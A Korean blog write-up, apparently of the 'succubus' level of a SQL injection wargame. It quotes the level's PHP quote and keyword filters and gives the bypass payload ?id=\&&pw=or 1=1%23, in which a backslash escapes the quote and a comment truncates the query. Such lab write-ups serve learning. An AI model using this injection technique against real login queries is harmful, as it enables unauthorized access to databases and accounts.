728x90
반응형
상단에 나오는 쿼리문은 DB에 해당 쿼리문으로 데이터가 들어간다고 알려준다.
id, pw의 값이 ‘’인 파라미터가 보인다.
query : select id from prob_succubus where id='' and pw=''
아래에는 php 코드가 나와있으며, 이걸 참고해서 문제를 푸는 것 이다.
해당 php 코드에서 자세하게 봐야 하는 부분은 이 부분인 것 같다.
preg_match 조건문 부분을 보면 다음과 같이 필터링하고 있다.
- prob
- _
- .
- ()
- ‘
문제를 풀기 위해서는 id의 값이 올바른 id어야 문제가 풀리는 듯 하다.
if(preg_match('/prob|_|\\.|\\(\\)/i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/prob|_|\\.|\\(\\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/\\'/',$_GET[id])) exit("HeHe");
if(preg_match('/\\'/',$_GET[pw])) exit("HeHe");
$query = "select id from prob_succubus where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
if($result['id']) solve("succubus");
위의 쿼리문과 문제의 코드를 보면 싱글쿼터 ‘ 를 필터링 하므로 이스케이프 문자열일 역슬래시(\)를 사용하여 뒤의 싱글쿼터 기능을 잃게 만들었다.
?id=\
pw에 공격문을 넣어보았다.
?id=\&&pw=or 1=1%23
728x90
반응형